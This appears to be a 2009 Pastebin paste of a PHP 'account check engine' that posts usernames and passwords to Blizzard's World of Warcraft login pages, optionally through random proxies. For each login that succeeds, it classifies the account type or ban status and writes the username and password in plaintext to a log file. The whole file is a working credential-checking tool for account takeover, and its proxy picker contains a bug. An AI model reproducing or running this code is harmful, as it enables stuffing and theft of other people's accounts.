Advertisement
Guest User

Untitled

a guest
Feb 16th, 2009
367
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 9.56 KB | None | 0 0
  1. <?php
  2. /*
  3.     Account check engine by Apoc@MMOwned
  4. */
  5. // Edit this to whatever you want it to be on your web server. You can use a relative, or exact path if you want.
  6. // Eg; /home/user/public_html/logs/log.txt/
  7. // Or; ./log.txt
  8. // You are free to name it whatever you want.
  9. define('LOG_FILE', './AccountsLog.txt');
  10. // Whether or not we should log accounts at all. (If this is false, the above define is useless!!
  11. define('LOG_ACCOUNTS', true);
  12.  
  13. // Parse extra information from accounts. (What type of account it is)
  14. define('PARSE_ACCOUNTS', true);
  15.  
  16. // If you want to use a proxy when connecting to the WoW website
  17. // Change this to true. Also add the proxy file address!
  18. define('USE_PROXY', false);
  19. // This can be anything really. It will choose a random proxy out of the
  20. // file. Make sure you only have 1 proxy per line. Proxy type is as follows: 0.0.0.0:0 (ip.ip.ip.ip:port)
  21. define('PROXY_FILE', '/path/to/your/proxy/file');
  22.  
  23.  
  24.  
  25. // These may change as Blizzard updates their website
  26. define('US_LOGIN_URL', 'https://www.blizzard.com/login/login.xml?referer=https%3A%2F%2Fwww.worldofwarcraft.com%2Faccount%2F&loginType=wow');
  27. define('EU_LOGIN_URL', 'https://eu.blizzard.com/login/login.xml?loginType=wow&referer=https%3A%2F%2Fwww.wow-europe.com%2Faccount%2F');
  28.  
  29. // Do not edit these defines
  30. define('US_ACCOUNT', "US");
  31. define('EU_ACCOUNT', "EU");
  32.  
  33. // Start account types
  34. define('UNKNOWN', 'Unknown');
  35. define('CLASSIC', 'Classic');
  36. define('BC', 'Burning Crusade');
  37. define('WRATH', 'Wrath of the Lich King');
  38. define('TRIAL', 'Trial');
  39. define('FROZEN', 'Frozen');
  40. define('BANNED', 'Banned');
  41. // End account types
  42.  
  43. // Start error codes
  44. define('NO_CURL_FUNCS', "cURL FUNCTIONS NOT AVAILABLE");
  45. define('INVALID_PASSWORD', "INVALID PASSWORD");
  46. define('INVALID_USERNAME', "INVALID USERNAME");
  47. define('INVALID_USER_PASS_COMBO', "INVALID ACCOUNT DETAILS");
  48. define('BAD_LOGIN', "COULD NOT LOGIN");
  49. // End error codes
  50. // End un-editable defines
  51.  
  52. class AccountCheck
  53. {
  54.     // The login type for the account. (EU or US)
  55.     public $login_type = '';
  56.    
  57.     // You can use this to display a successful logins account management page.
  58.     // So long as your images directory and whatnot is correct!
  59.     public $last_page_requested = '';
  60.    
  61.     // Returns the last error encountered.
  62.     public $last_error = '';
  63.    
  64.     // The account type of the last checked account. (See defines above)
  65.     public $account_type = '';
  66.    
  67.     // Private regex patterns. Only here so if I need to edit them, they're easy to get to. :P
  68.     private $password_regex = '/^(?=.*\d)(?=.*[a-zA-Z])(?!.*[^\w!"#$,%]).{8,16}$/';
  69.     private $username_regex = '/^\w{3,16}$/';
  70.    
  71.     public function __construct()
  72.     {
  73.         $this->account_type = UNKNOWN;
  74.         if (!$this->CheckCurlFuncs())
  75.         {
  76.             $last_error = NO_CURL_FUNCS;
  77.         }
  78.     }
  79.    
  80.     //
  81.     //Returns true if all the required cURL functions are available. False otherwise.
  82.     //
  83.     private function CheckCurlFuncs()
  84.     {
  85.         return function_exists('curl_init') && function_exists('curl_setopt') && function_exists('curl_exec') && function_exists('curl_close');
  86.     }
  87.    
  88.     //
  89.     //  Checks whether or not the account is valid.
  90.     //  -> Checks Username via regex, password via regex, and makes sure the username is different from the password.
  91.     //
  92.     public function IsValidAccount($username = "", $password = "")
  93.     {
  94.         return $this->IsValidUsername($username) && $this->IsValidPassword($password) && $username != $password;
  95.     }
  96.    
  97.     //
  98.     //  Checks if the username is valid for a login. (Alpha-numeric, 3-16 characters long.)
  99.     //
  100.     public function IsValidUsername($username = "")
  101.     {
  102.         $tmp = preg_match($this->username_regex, $username);
  103.         if (!$tmp)
  104.         {
  105.             $this->last_error = INVALID_USERNAME;
  106.         }
  107.         return $tmp;
  108.     }
  109.    
  110.     //
  111.     //  Checks if the password is valid for a login. (8-16 characters long, containing alphanumeric, and special characters [!"#$,%])
  112.     //      Also checks to make sure it has at least 1 digit in it.
  113.     //
  114.     public function IsValidPassword($password = "")
  115.     {
  116.         $tmp = preg_match($this->password_regex, $password);
  117.         if (!$tmp)
  118.         {
  119.             $this->last_error = INVALID_PASSWORD;
  120.         }
  121.         return $tmp;
  122.     }
  123.    
  124.     //
  125.     //  Returns true if it was able to login to the US account management site. False otherwise.
  126.     //
  127.     public function CheckUsLogin($username = "", $password = "")
  128.     {
  129.         $tmp = $this->Login($username, $password, US_LOGIN_URL);
  130.         if ($tmp)
  131.         {
  132.             $this->login_type = US_ACCOUNT;
  133.             $this->ParseUS($this->last_page_requested);
  134.             $this->LogAccount($username, $password, US_ACCOUNT);
  135.         }
  136.         return $tmp;
  137.     }
  138.    
  139.     //
  140.     //  Returns true if it was able to login to the EU account management site. False otherwise.
  141.     // 
  142.     public function CheckEuLogin($username = "", $password = "")
  143.     {
  144.         $tmp = $this->Login($username, $password, EU_LOGIN_URL);
  145.         if ($tmp)
  146.         {
  147.             $this->login_type = EU_ACCOUNT;
  148.             $this->ParseEU($this->last_page_requested);
  149.             $this->LogAccount($username, $password, EU_ACCOUNT);
  150.         }
  151.         return $tmp;
  152.     }  
  153.    
  154.     //
  155.     //  Attempts to login to both EU, and US account management sites. If either returns a valid
  156.     //  login, it will return true. Otherwise false.
  157.     //
  158.     //  When this function returns true, check $accountChecker->login_type to get the type of login.
  159.     //
  160.     public function CheckBothLogin($username = "", $password = "")
  161.     {
  162.         if ($this->CheckUsLogin($username, $password))
  163.         {
  164.             return true;
  165.         }
  166.         if ($this->CheckEuLogin($username, $password))
  167.         {
  168.             return true;
  169.         }
  170.         return false;
  171.     }
  172.    
  173.     //
  174.     // The main login function. It can check both EU and US with the same methodology
  175.     //
  176.     private function Login($username = "", $password = "", $url)
  177.     {
  178.         if ($this->last_error == NO_CURL_FUNCS)
  179.         {
  180.             return false;
  181.         }
  182.        
  183.         if (!$this->IsValidAccount($username, $password))
  184.         {
  185.             $this->last_error = INVALID_USER_PASS_COMBO;
  186.             return false;
  187.         }
  188.        
  189.         $postvars = "accountName=$username&password=$password";
  190.         $ch = curl_init($url);
  191.         curl_setopt($ch, CURLOPT_POST, 1); // Sending a POST request
  192.         curl_setopt($ch, CURLOPT_POSTFIELDS, $postvars); // Setup the POST variables
  193.         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // Just go along with any redirects
  194.         curl_setopt($ch, CURLOPT_HEADER, 0); // We don't want to return any HTTP headers
  195.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // And we want the return contents, instead of a bool value.
  196.        
  197.         if (USE_PROXY)
  198.         {
  199.             $proxy = $this->GetRandomProxy();
  200.             if ($proxy)
  201.             {
  202.                 curl_setopt($ch, CURLOPT_HTTPPROXYTUNNEL, 1);
  203.                 curl_setopt($ch, CURLOPT_PROXY, $proxy);
  204.             }
  205.         }
  206.        
  207.         $this->last_page_requested = curl_exec($ch); // Get our stuff!
  208.         curl_close($ch);
  209.        
  210.         if (strstr($this->last_page_requested, "Invalid account name or password"))
  211.         {
  212.             $this->last_error = BAD_LOGIN;
  213.             return false;
  214.         }
  215.         else
  216.         {
  217.             $this->last_error = '';
  218.             return true;
  219.         }
  220.     }
  221.    
  222.     private function GetRandomProxy()
  223.     {
  224.         if (!file_exists(PROXY_FILE))
  225.         {
  226.             return false;
  227.         }
  228.        
  229.          $content = file_get_contents(PROXY_FILE);
  230.         if(preg_match_all('/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]{1,5}/', $content, $match))
  231.         {
  232.             if (!count($match))
  233.             {
  234.                 return false;
  235.             }
  236.             srand((float) microtime() * 10005224);
  237.             return array_rand($match, 1);
  238.         }
  239.         else
  240.         {
  241.             return false;
  242.         }
  243.     }
  244.    
  245.     // Just a simple logging method. Logs the account info to a file specified.
  246.     private function LogAccount($username, $password, $type)
  247.     {
  248.         if (!LOG_ACCOUNTS && !$this->last_error)
  249.         {
  250.             return;
  251.         }
  252.         if ($file = fopen(LOG_FILE, 'a'))
  253.         {
  254.             $toWrite = '['.date('m-d-y g:iA').'] Username: '.$username.' - Password: '.$password.' - Login Type: '.$type;
  255.             if (PARSE_ACCOUNTS)
  256.             {
  257.                 $toWrite .= " - Account Type: ".$this->account_type;
  258.             }
  259.             $toWrite .= "\n";
  260.             fwrite($file, $toWrite);
  261.             fclose($file);
  262.         }
  263.     }
  264.  
  265.     // ####################### ACCOUNT TYPE PARSERS #######################
  266.    
  267.     private function ParseUS($page)
  268.     {
  269.         if (!PARSE_ACCOUNTS) return;
  270.        
  271.         if (strstr($page, 'This account has been permanently closed and will no longer be able to access World of Warcraft.'))
  272.         {
  273.             $this->account_type = BANNED;
  274.             return BANNED;
  275.         }
  276.         if (strstr($page, 'This account is a Trial account.  A retail Authentication Key will be required to continue playing after the trial time period expires.'))
  277.         {
  278.             $this->account_type = TRIAL;
  279.             return TRIAL;
  280.         }      
  281.         if (strstr($page, 'This account has been frozen and cannot be used for playing.'))
  282.         {
  283.             $this->account_type = FROZEN;
  284.             return FROZEN;
  285.         }      
  286.         if (strstr($page, 'images/icons/accounttype/wrath-on.gif'))
  287.         {
  288.             $this->account_type = WRATH;
  289.             return WRATH;
  290.         }      
  291.         if (strstr($page, 'images/icons/accounttype/bc-on.gif'))
  292.         {
  293.             $this->account_type = BC;
  294.             return BC;
  295.         }
  296.         if (strstr($page, 'images/icons/accounttype/classic-on.gif'))
  297.         {
  298.             $this->account_type = CLASSIC;
  299.             return CLASSIC;
  300.         }
  301.         $this->account_type = UNKNOWN;
  302.         return UNKNOWN;
  303.     }
  304.    
  305.     private function ParseEU($page)
  306.     {
  307.         if (!PARSE_ACCOUNTS) return;
  308.        
  309.         if (strstr($page, 'WoW Trial'))
  310.         {
  311.             $this->account_type = TRIAL;
  312.             return TRIAL;
  313.         }      
  314.         if (strstr($page, 'Frozen Account'))
  315.         {
  316.             $this->account_type = FROZEN;
  317.             return FROZEN;
  318.         }      
  319.         if (strstr($page, 'Wrath of the Lich King Account'))
  320.         {
  321.             $this->account_type = WRATH;
  322.             return WRATH;
  323.         }      
  324.         if (strstr($page, 'World of Warcraft + Burning Crusade'))
  325.         {
  326.             $this->account_type = BC;
  327.             return BC;
  328.         }
  329.         if (strstr($page, 'World of Warcraft - no expansion'))
  330.         {
  331.             $this->account_type = CLASSIC;
  332.             return CLASSIC;
  333.         }
  334.         if (strstr($page, 'Closed'))
  335.         {
  336.             $this->account_type = BANNED;
  337.             return BANNED;
  338.         }
  339.         $this->account_type = UNKNOWN;
  340.         return UNKNOWN;
  341.     }
  342. }
  343. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement